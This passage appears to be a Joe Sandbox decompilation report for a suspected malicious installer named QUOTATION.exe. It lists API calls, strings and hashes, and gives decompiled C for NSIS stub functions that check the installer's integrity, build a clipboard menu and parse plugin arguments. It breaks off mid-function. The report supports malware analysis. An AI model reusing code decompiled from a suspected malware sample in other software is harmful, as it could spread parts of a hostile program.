0x00000000
0x004055c0
0x004054d2
0x004054de
0x004054e7
0x004054ee
0x004054f2
0x004054f5
0x004054fe
0x00405504
0x00405507
0x00405507
0x00405517
0x0040551d
0x00405520
0x0040552b
0x0040552b
0x0040552c
0x0040552f
0x00405536
0x0040553d
0x00405545
0x00405545
0x00405553
0x00405559
0x0040555c
0x0040555c
0x00405563
0x00405569
0x00405572
0x00405579
0x00405582
0x00405584
0x00405587
0x00405596
0x00405598
0x0040559b
0x0040559c
0x0040559f
0x004055a0
0x004055a1
0x004055a1
0x004055a9
0x004055b4
0x004055ba
0x004055ba
0x00000000
0x00405520
0x00405450
0x00405456
0x00405484
0x00405486
0x0040548c
0x0040548e
0x00405497
0x00405497
0x0040549e
0x00000000
0x0040549e
0x0040545a
0x00405464
0x00000000
0x00405428
0x00405428
0x0040542e
0x00405469
0x00000000
0x00405470
0x00405437
0x0040543e
0x00405443
0x00000000
0x00405443
0x00405426
0x00405261
0x00405265
0x0040526d
0x00405271
0x00405274
0x00405277
0x0040527a
0x0040527d
0x0040527e
0x0040527f
0x00405298
0x0040529b
0x004052a5
0x004052b4
0x004052bc
0x004052c4
0x004052c9
0x004052cc
0x004052d8
0x004052e1
0x004052ea
0x0040530c
0x00405312
0x00405323
0x00405328
0x00405336
0x00405344
0x00405344
0x00405349
0x00405357
0x00405357
0x0040535c
0x0040535f
0x00405364
0x00405370
0x00405379
0x00405386
0x00405395
0x00405388
0x0040538d
0x0040538d
0x004053a1
0x004053a1
0x004053b5
0x004053be
0x004053c7
0x004053d7
0x004053e3
0x004053e3
0x00000000

APIs

GetDlgItem.USER32(?,00000403), ref: 0040529E
GetDlgItem.USER32(?,000003EE), ref: 004052AD
GetClientRect.USER32(?,?), ref: 004052EA
GetSystemMetrics.USER32(00000002), ref: 004052F1
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405312
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405323
SendMessageA.USER32(?,00001001,00000000,?), ref: 00405336
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405344
SendMessageA.USER32(?,00001024,00000000,?), ref: 00405357
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405379
ShowWindow.USER32(?,00000008), ref: 0040538D
GetDlgItem.USER32(?,000003EC), ref: 004053AE
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004053BE
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004053D7
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004053E3
GetDlgItem.USER32(?,000003F8), ref: 004052BC

Part of subcall function 0040409D: SendMessageA.USER32(00000028,?,00000001,00403ECD), ref: 004040AB

GetDlgItem.USER32(?,000003EC), ref: 004053FF
CreateThread.KERNEL32(00000000,00000000,Function_000051D3,00000000), ref: 0040540D
CloseHandle.KERNELBASE(00000000), ref: 00405414
ShowWindow.USER32(00000000), ref: 00405437
ShowWindow.USER32(?,00000008), ref: 0040543E
ShowWindow.USER32(00000008), ref: 00405484
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004054B8
CreatePopupMenu.USER32 ref: 004054C9
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004054DE
GetWindowRect.USER32(?,000000FF), ref: 004054FE
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405517
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405553
OpenClipboard.USER32(00000000), ref: 00405563
EmptyClipboard.USER32 ref: 00405569
GlobalAlloc.KERNEL32(00000042,?), ref: 00405572
GlobalLock.KERNEL32(00000000), ref: 0040557C
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405590
GlobalUnlock.KERNEL32(00000000), ref: 004055A9
SetClipboardData.USER32(00000001,00000000), ref: 004055B4
CloseClipboard.USER32 ref: 004055BA

Strings

Sepad149: Installing, xrefs: 0040552F

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: Sepad149: Installing
API String ID: 590372296-2190826614
Opcode ID: 5e248db37e798cb99e868fa2efa30f8b142e25c36e83f8749ee739c671aa7136
Instruction ID: b9a96890980d2d8b9797d0de0d5ce2eab2fec2a682b8a0b11cb6d69254f0e8d6
Opcode Fuzzy Hash: 5e248db37e798cb99e868fa2efa30f8b142e25c36e83f8749ee739c671aa7136
Instruction Fuzzy Hash: C4A15CB1900208BFDB119FA0DD89AAE7FB9FB48355F00403AFA05B61A0C7B55E51DF69

Uniqueness

Uniqueness Score: -1.00%

Function 00402DC4 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E00402DC4(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				signed int _t50;
				void* _t53;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				signed int _t65;
				signed int _t70;
				signed int _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				signed int _t85;
				signed int _t87;
				void* _t89;
				signed int _t90;
				signed int _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = "C:\\Users\\Arthur\\Desktop\\QUOTATION.exe";
				 *0x423710 = _t43 + 0x3e8;
				GetModuleFileNameA(0, "C:\\Users\\Arthur\\Desktop\\QUOTATION.exe", 0x400);
				_t89 = E00405B73(_t91, 0x80000000, 3);
				_v16 = _t89;
				 *0x409018 = _t89;
				if(_t89 == 0xffffffff) {
					return "Error launching installer";
				}
				_t92 = "C:\\Users\\Arthur\\Desktop";
				E00405FDA("C:\\Users\\Arthur\\Desktop", _t91);
				E00405FDA(0x42b000, E004059B9(_t92));
				_t50 = GetFileSize(_t89, 0);
				__eflags = _t50;
				 *0x41e8c4 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00402D60(1);
					__eflags =  *0x423718 - _t82;
					if( *0x423718 == _t82) {
						goto L29;
					}
					__eflags = _v8 - _t82;
					if(_v8 == _t82) {
						L28:
						_t53 = GlobalAlloc(0x40, _v24); // executed
						_t94 = _t53;
						E004031ED( *0x423718 + 0x1c);
						_push(_v24);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E00402FFB(); // executed
						__eflags = _t57 - _v24;
						if(_t57 == _v24) {
							__eflags = _v44 & 0x00000001;
							 *0x423714 = _t94;
							 *0x42371c =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x423720 =  *0x423720 + 1;
								__eflags =  *0x423720;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
								__eflags = _t85;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405B2E(0x423740, _t94 + 4, 0x40);
							__eflags = 0;
							return 0;
						}
						goto L29;
					}
					E004031ED( *0x4128b8);
					_t65 = E004031D7( &_a4, 4);
					__eflags = _t65;
					if(_t65 == 0) {
						goto L29;
					}
					__eflags = _v12 - _a4;
					if(_v12 != _a4) {
						goto L29;
					}
					goto L28;
				} else {
					do {
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~( *0x423718) & 0x00007e00) + 0x200;
						__eflags = _t93 - _t70;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E004031D7(0x40a8b8, _t90);
						__eflags = _t71;
						if(_t71 == 0) {
							E00402D60(1);
							L29:
							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x423718;
						if( *0x423718 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402D60(0);
							}
							goto L20;
						}
						E00405B2E( &_v44, 0x40a8b8, "true");
						_t77 = _v44;
						__eflags = _t77 & 0xfffffff0;
						if((_t77 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v40 - 0xdeadbeef;
						if(_v40 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v28 - 0x74736e49;
						if(_v28 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v32 - 0x74666f73;
						if(_v32 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v36 - 0x6c6c754e;
						if(_v36 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t77;
						_t87 =  *0x4128b8; // 0xa68a3
						 *0x4237c0 =  *0x4237c0 | _a4 & 0x00000002;
						_t80 = _v20;
						__eflags = _t80 - _t93;
						 *0x423718 = _t87;
						if(_t80 > _t93) {
							goto L29;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v8 = _v8 + 1;
							_t24 = _t80 - 4; // 0x409194
							_t93 = _t24;
							__eflags = _t90 - _t93;
							if(_t90 > _t93) {
								_t90 = _t93;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t93 -  *0x41e8c4; // 0xa8a90
						if(__eflags < 0) {
							_v12 = E00406429(_v12, 0x40a8b8, _t90);
						}
						 *0x4128b8 =  *0x4128b8 + _t90;
						_t93 = _t93 - _t90;
						__eflags = _t93;
					} while (_t93 != 0);
					_t82 = 0;
					__eflags = 0;
					goto L24;
				}
			}

0x00402dcc
0x00402dcf
0x00402dd2
0x00402dd5
0x00402ddb
0x00402dec
0x00402df1
0x00402e04
0x00402e09
0x00402e0c
0x00402e12
0x00000000
0x00402e14
0x00402e1f
0x00402e25
0x00402e36
0x00402e3d
0x00402e43
0x00402e45
0x00402e4a
0x00402e4c
0x00402f37
0x00402f39
0x00402f3e
0x00402f45
0x00000000
0x00000000
0x00402f47
0x00402f4a
0x00402f6e
0x00402f73
0x00402f79
0x00402f84
0x00402f89
0x00402f8c
0x00402f8d
0x00402f8e
0x00402f90
0x00402f95
0x00402f98
0x00402fab
0x00402faf
0x00402fb7
0x00402fbc
0x00402fbe
0x00402fbe
0x00402fbe
0x00402fc6
0x00402fc6
0x00402fc9
0x00402fca
0x00402fca
0x00402fcd
0x00402fcf
0x00402fcf
0x00402fcf
0x00402fd9
0x00402fdf
0x00402fed
0x00402ff2
0x00000000
0x00402ff2
0x00000000
0x00402f98
0x00402f52
0x00402f5d
0x00402f62
0x00402f64
0x00000000
0x00000000
0x00402f69
0x00402f6c
0x00000000
0x00000000
0x00000000
0x00402e52
0x00402e57
0x00402e5c
0x00402e60
0x00402e67
0x00402e6c
0x00402e6e
0x00402e70
0x00402e70
0x00402e74
0x00402e79
0x00402e7b
0x00402fa3
0x00402f9a
0x00000000
0x00402f9a
0x00402e81
0x00402e88
0x00402f04
0x00402f08
0x00402f0c
0x00402f11
0x00000000
0x00402f08
0x00402e91
0x00402e96
0x00402e99
0x00402e9e
0x00000000
0x00000000
0x00402ea0
0x00402ea7
0x00000000
0x00000000
0x00402ea9
0x00402eb0
0x00000000
0x00000000
0x00402eb2
0x00402eb9
0x00000000
0x00000000
0x00402ebb
0x00402ec2
0x00000000
0x00000000
0x00402ec4
0x00402eca
0x00402ed3
0x00402ed9
0x00402edc
0x00402ede
0x00402ee4
0x00000000
0x00000000
0x00402eea
0x00402eee
0x00402ef6
0x00402ef6
0x00402ef9
0x00402ef9
0x00402efc
0x00402efe
0x00402f00
0x00402f00
0x00000000
0x00402efe
0x00402ef0
0x00402ef4
0x00000000
0x00000000
0x00000000
0x00402f12
0x00402f12
0x00402f18
0x00402f24
0x00402f24
0x00402f27
0x00402f2d
0x00402f2d
0x00402f2d
0x00402f35
0x00402f35
0x00000000
0x00402f35

APIs

GetTickCount.KERNEL32 ref: 00402DD5
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\QUOTATION.exe,00000400), ref: 00402DF1

Part of subcall function 00405B73: GetFileAttributesA.KERNELBASE(00000003,00402E04,C:\Users\user\Desktop\QUOTATION.exe,80000000,00000003), ref: 00405B77
Part of subcall function 00405B73: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B99

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\QUOTATION.exe,C:\Users\user\Desktop\QUOTATION.exe,80000000,00000003), ref: 00402E3D
GlobalAlloc.KERNELBASE(00000040,00000020), ref: 00402F73

Strings

Inst, xrefs: 00402EA9
Null, xrefs: 00402EBB
soft, xrefs: 00402EB2
C:\Users\user\Desktop, xrefs: 00402E1F, 00402E24, 00402E2A
"C:\Users\user\Desktop\QUOTATION.exe", xrefs: 00402DC4
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DCB
Error launching installer, xrefs: 00402E14
C:\Users\user\Desktop\QUOTATION.exe, xrefs: 00402DDB, 00402DEA, 00402DFE, 00402E1E
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402F9A

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\QUOTATION.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\QUOTATION.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-2094316207
Opcode ID: 52488c0a69c855c3c7aeff43e56c4eb2efc08dbfe116725fd41c71e14f125889
Instruction ID: 90621c4e807be281ea96420bab05d42ad29c2ea1f6fd119d4e9c070f99f8684f
Opcode Fuzzy Hash: 52488c0a69c855c3c7aeff43e56c4eb2efc08dbfe116725fd41c71e14f125889
Instruction Fuzzy Hash: 1A51F771A00216ABDF209F61DE89B9E7BB8EB54355F50403BF900B72C1C6BC9E4197AD

Uniqueness

Uniqueness Score: -1.00%

Function 6F601A98 Relevance: 20.1, APIs: 13, Instructions: 591
stringlibrarymemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E6F601A98() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				CHAR* _v24;
				CHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				CHAR* _v48;
				signed int _v52;
				void* _v56;
				intOrPtr _v60;
				CHAR* _t207;
				signed int _t210;
				void* _t212;
				void* _t214;
				CHAR* _t216;
				void* _t224;
				struct HINSTANCE__* _t225;
				struct HINSTANCE__* _t226;
				struct HINSTANCE__* _t228;
				signed short _t230;
				struct HINSTANCE__* _t233;
				struct HINSTANCE__* _t235;
				void* _t236;
				char* _t237;
				void* _t248;
				signed char _t249;
				signed int _t250;
				void* _t254;
				struct HINSTANCE__* _t256;
				void* _t257;
				signed int _t259;
				intOrPtr _t260;
				char* _t263;
				signed int _t268;
				signed int _t271;
				signed int _t273;
				void* _t276;
				void* _t280;
				struct HINSTANCE__* _t282;
				intOrPtr _t285;
				void _t286;
				signed int _t287;
				signed int _t299;
				signed int _t300;
				intOrPtr _t303;
				void* _t304;
				signed int _t308;
				signed int _t311;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				intOrPtr _t319;
				intOrPtr* _t320;
				CHAR* _t321;
				CHAR* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				void* _t327;
				signed int _t328;
				void* _t329;

				_t282 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v8 = 0;
				_v40 = 0;
				_t329 = 0;
				_v52 = 0;
				_v44 = 0;
				_t207 = E6F601215();
				_v24 = _t207;
				_v28 = _t207;
				_v48 = E6F601215();
				_t320 = E6F60123B();
				_v56 = _t320;
				_v12 = _t320;
				while(1) {
					_t210 = _v32;
					_v60 = _t210;
					if(_t210 != _t282 && _t329 == _t282) {
						break;
					}
					_t319 =  *_t320;
					_t285 = _t319;
					_t212 = _t285 - _t282;
					if(_t212 == 0) {
						_t37 =  &_v32;
						 *_t37 = _v32 | 0xffffffff;
						__eflags =  *_t37;
						L20:
						_t214 = _v60 - _t282;
						if(_t214 == 0) {
							 *_v28 =  *_v28 & 0x00000000;
							__eflags = _t329 - _t282;
							if(_t329 == _t282) {
								_t254 = GlobalAlloc(0x40, 0x14a4); // executed
								_t329 = _t254;
								 *(_t329 + 0x810) = _t282;
								 *(_t329 + 0x814) = _t282;
							}
							_t286 = _v36;
							_t47 = _t329 + 8; // 0x8
							_t216 = _t47;
							_t48 = _t329 + 0x408; // 0x408
							_t321 = _t48;
							 *_t329 = _t286;
							 *_t216 =  *_t216 & 0x00000000;
							 *(_t329 + 0x808) = _t282;
							 *_t321 =  *_t321 & 0x00000000;
							_t287 = _t286 - _t282;
							__eflags = _t287;
							 *(_t329 + 0x80c) = _t282;
							 *(_t329 + 4) = _t282;
							if(_t287 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L42;
								}
								_t327 = 0;
								GlobalFree(_t329);
								_t329 = E6F6012FE(_v24);
								__eflags = _t329 - _t282;
								if(_t329 == _t282) {
									goto L42;
								} else {
									goto L35;
								}
								while(1) {
									L35:
									_t248 =  *(_t329 + 0x14a0);
									__eflags = _t248 - _t282;
									if(_t248 == _t282) {
										break;
									}
									_t327 = _t329;
									_t329 = _t248;
									__eflags = _t329 - _t282;
									if(_t329 != _t282) {
										continue;
									}
									break;
								}
								__eflags = _t327 - _t282;
								if(_t327 != _t282) {
									 *(_t327 + 0x14a0) = _t282;
								}
								_t249 =  *(_t329 + 0x810);
								__eflags = _t249 & 0x00000008;
								if((_t249 & 0x00000008) == 0) {
									_t250 = _t249 | 0x00000002;
									__eflags = _t250;
									 *(_t329 + 0x810) = _t250;
								} else {
									_t329 = E6F601534(_t329);
									 *(_t329 + 0x810) =  *(_t329 + 0x810) & 0xfffffff5;
								}
								goto L42;
							} else {
								_t299 = _t287 - 1;
								__eflags = _t299;
								if(_t299 == 0) {
									L31:
									lstrcpyA(_t216, _v48);
									L32:
									lstrcpyA(_t321, _v24);
									goto L42;
								}
								_t300 = _t299 - 1;
								__eflags = _t300;
								if(_t300 == 0) {
									goto L32;
								}
								__eflags = _t300 != 1;
								if(_t300 != 1) {
									goto L42;
								}
								goto L31;
							}
						} else {
							if(_t214 == 1) {
								_t256 = _v16;
								if(_v40 == _t282) {
									_t256 = _t256 - 1;
								}
								 *(_t329 + 0x814) = _t256;
							}
							L42:
							_v12 = _v12 + 1;
							_v28 = _v24;
							L59:
							if(_v32 != 0xffffffff) {
								_t320 = _v12;
								continue;
							}
							break;
						}
					}
					_t257 = _t212 - 0x23;
					if(_t257 == 0) {
						__eflags = _t320 - _v56;
						if(_t320 <= _v56) {
							L17:
							__eflags = _v44 - _t282;
							if(_v44 != _t282) {
								L43:
								_t259 = _v32 - _t282;
								__eflags = _t259;
								if(_t259 == 0) {
									_t260 = _t319;
									while(1) {
										__eflags = _t260 - 0x22;
										if(_t260 != 0x22) {
											break;
										}
										_t320 = _t320 + 1;
										__eflags = _v44 - _t282;
										_v12 = _t320;
										if(_v44 == _t282) {
											_v44 = 1;
											L162:
											_v28 =  &(_v28[1]);
											 *_v28 =  *_t320;
											L58:
											_t328 = _t320 + 1;
											__eflags = _t328;
											_v12 = _t328;
											goto L59;
										}
										_t260 =  *_t320;
										_v44 = _t282;
									}
									__eflags = _t260 - 0x2a;
									if(_t260 == 0x2a) {
										_v36 = 2;
										L57:
										_t320 = _v12;
										_v28 = _v24;
										_t282 = 0;
										__eflags = 0;
										goto L58;
									}
									__eflags = _t260 - 0x2d;
									if(_t260 == 0x2d) {
										L151:
										_t303 =  *_t320;
										__eflags = _t303 - 0x2d;
										if(_t303 != 0x2d) {
											L154:
											_t263 = _t320 + 1;
											__eflags =  *_t263 - 0x3a;
											if( *_t263 != 0x3a) {
												goto L162;
											}
											__eflags = _t303 - 0x2d;
											if(_t303 == 0x2d) {
												goto L162;
											}
											_v36 = 1;
											L157:
											_v12 = _t263;
											__eflags = _v28 - _v24;
											if(_v28 <= _v24) {
												 *_v48 =  *_v48 & 0x00000000;
											} else {
												 *_v28 =  *_v28 & 0x00000000;
												lstrcpyA(_v48, _v24);
											}
											goto L57;
										}
										_t263 = _t320 + 1;
										__eflags =  *_t263 - 0x3e;
										if( *_t263 != 0x3e) {
											goto L154;
										}
										_v36 = 3;
										goto L157;
									}
									__eflags = _t260 - 0x3a;
									if(_t260 != 0x3a) {
										goto L162;
									}
									goto L151;
								}
								_t268 = _t259 - 1;
								__eflags = _t268;
								if(_t268 == 0) {
									L80:
									_t304 = _t285 + 0xffffffde;
									__eflags = _t304 - 0x55;
									if(_t304 > 0x55) {
										goto L57;
									}
									switch( *((intOrPtr*)(( *(_t304 + 0x6f602259) & 0x000000ff) * 4 +  &M6F6021CD))) {
										case 0:
											__eax = _v24;
											__edi = _v12;
											while(1) {
												__edi = __edi + 1;
												_v12 = __edi;
												__cl =  *__edi;
												__eflags = __cl - __dl;
												if(__cl != __dl) {
													goto L132;
												}
												L131:
												__eflags =  *(__edi + 1) - __dl;
												if( *(__edi + 1) != __dl) {
													L136:
													 *__eax =  *__eax & 0x00000000;
													__eax = E6F601224(_v24);
													__ebx = __eax;
													goto L97;
												}
												L132:
												__eflags = __cl;
												if(__cl == 0) {
													goto L136;
												}
												__eflags = __cl - __dl;
												if(__cl == __dl) {
													__edi = __edi + 1;
													__eflags = __edi;
												}
												__cl =  *__edi;
												 *__eax =  *__edi;
												__eax = __eax + 1;
												__edi = __edi + 1;
												_v12 = __edi;
												__cl =  *__edi;
												__eflags = __cl - __dl;
												if(__cl != __dl) {
													goto L132;
												}
												goto L131;
											}
										case 1:
											_v8 = 1;
											goto L57;
										case 2:
											_v8 = _v8 | 0xffffffff;
											goto L57;
										case 3:
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v16 = _v16 + 1;
											goto L85;
										case 4:
											__eflags = _v20;
											if(_v20 != 0) {
												goto L57;
											}
											_v12 = _v12 - 1;
											__ebx = E6F601215();
											 &_v12 = E6F601A36( &_v12);
											__eax = E6F601429(__edx, __eax, __edx, __ebx);
											goto L97;
										case 5:
											L105:
											_v20 = _v20 + 1;
											goto L57;
										case 6:
											_push(7);
											goto L123;
										case 7:
											_push(0x19);
											goto L143;
										case 8:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L107;
										case 9:
											_push(0x15);
											goto L143;
										case 0xa:
											_push(0x16);
											goto L143;
										case 0xb:
											_push(0x18);
											goto L143;
										case 0xc:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L118;
										case 0xd:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L109;
										case 0xe:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L111;
										case 0xf:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L122;
										case 0x10:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L113;
										case 0x11:
											_push(3);
											goto L123;
										case 0x12:
											_push(0x17);
											L143:
											_pop(__ebx);
											goto L98;
										case 0x13:
											__eax =  &_v12;
											__eax = E6F601A36( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											__eflags = __ebx - 0xb;
											if(__ebx < 0xb) {
												__ebx = __ebx + 0xa;
											}
											goto L97;
										case 0x14:
											__ebx = 0xffffffff;
											goto L98;
										case 0x15:
											__eax = 0;
											__eflags = 0;
											goto L116;
										case 0x16:
											__ecx = 0;
											__eflags = 0;
											goto L91;
										case 0x17:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L120;
										case 0x18:
											_t270 =  *(_t329 + 0x814);
											__eflags = _t270 - _v16;
											if(_t270 > _v16) {
												_v16 = _t270;
											}
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v36 - 3 = _t270 - (_v36 == 3);
											if(_t270 != _v36 == 3) {
												L85:
												_v40 = 1;
											}
											goto L57;
										case 0x19:
											L107:
											__ecx = 0;
											_v8 = 2;
											__ecx = 1;
											goto L91;
										case 0x1a:
											L118:
											_push(5);
											goto L123;
										case 0x1b:
											L109:
											__ecx = 0;
											_v8 = 3;
											__ecx = 1;
											goto L91;
										case 0x1c:
											L111:
											__ecx = 0;
											__ecx = 1;
											goto L91;
										case 0x1d:
											L122:
											_push(6);
											goto L123;
										case 0x1e:
											L113:
											_push(2);
											goto L123;
										case 0x1f:
											__eax =  &_v12;
											__eax = E6F601A36( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											goto L97;
										case 0x20:
											L116:
											_v52 = _v52 + 1;
											_push(3);
											_pop(__ecx);
											goto L91;
										case 0x21:
											L120:
											_push(4);
											L123:
											_pop(__ecx);
											L91:
											__edi = _v16;
											__edx =  *(0x6f60305c + __ecx * 4);
											__eax =  ~__eax;
											asm("sbb eax, eax");
											_v40 = 1;
											__edi = _v16 << 5;
											__eax = __eax & 0x00008000;
											__edi = (_v16 << 5) + __esi;
											__eax = __eax | __ecx;
											__eflags = _v8;
											 *(__edi + 0x818) = __eax;
											if(_v8 < 0) {
												L93:
												__edx = 0;
												__edx = 1;
												__eflags = 1;
												L94:
												__eflags = _v8 - 1;
												 *(__edi + 0x828) = __edx;
												if(_v8 == 1) {
													__eax =  &_v12;
													__eax = E6F601A36( &_v12);
													__eax = __eax + 1;
													__eflags = __eax;
													_v8 = __eax;
												}
												__eax = _v8;
												 *((intOrPtr*)(__edi + 0x81c)) = _v8;
												_t136 = _v16 + 0x41; // 0x41
												_t136 = _t136 << 5;
												__eax = 0;
												__eflags = 0;
												 *((intOrPtr*)((_t136 << 5) + __esi)) = 0;
												 *((intOrPtr*)(__edi + 0x830)) = 0;
												 *((intOrPtr*)(__edi + 0x82c)) = 0;
												L97:
												__eflags = __ebx;
												if(__ebx == 0) {
													goto L57;
												}
												L98:
												__eflags = _v20;
												_v40 = 1;
												if(_v20 != 0) {
													L103:
													__eflags = _v20 - 1;
													if(_v20 == 1) {
														__eax = _v16;
														__eax = _v16 << 5;
														__eflags = __eax;
														 *(__eax + __esi + 0x82c) = __ebx;
													}
													goto L105;
												}
												_v16 = _v16 << 5;
												_t144 = __esi + 0x830; // 0x830
												__edi = (_v16 << 5) + _t144;
												__eax =  *__edi;
												__eflags = __eax - 0xffffffff;
												if(__eax <= 0xffffffff) {
													L101:
													__eax = GlobalFree(__eax);
													L102:
													 *__edi = __ebx;
													goto L103;
												}
												__eflags = __eax - 0x19;
												if(__eax <= 0x19) {
													goto L102;
												}
												goto L101;
											}
											__eflags = __edx;
											if(__edx > 0) {
												goto L94;
											}
											goto L93;
										case 0x22:
											goto L57;
									}
								}
								_t271 = _t268 - 1;
								__eflags = _t271;
								if(_t271 == 0) {
									_v16 = _t282;
									goto L80;
								}
								__eflags = _t271 != 1;
								if(_t271 != 1) {
									goto L162;
								}
								__eflags = _t285 - 0x6e;
								if(__eflags > 0) {
									_t308 = _t285 - 0x72;
									__eflags = _t308;
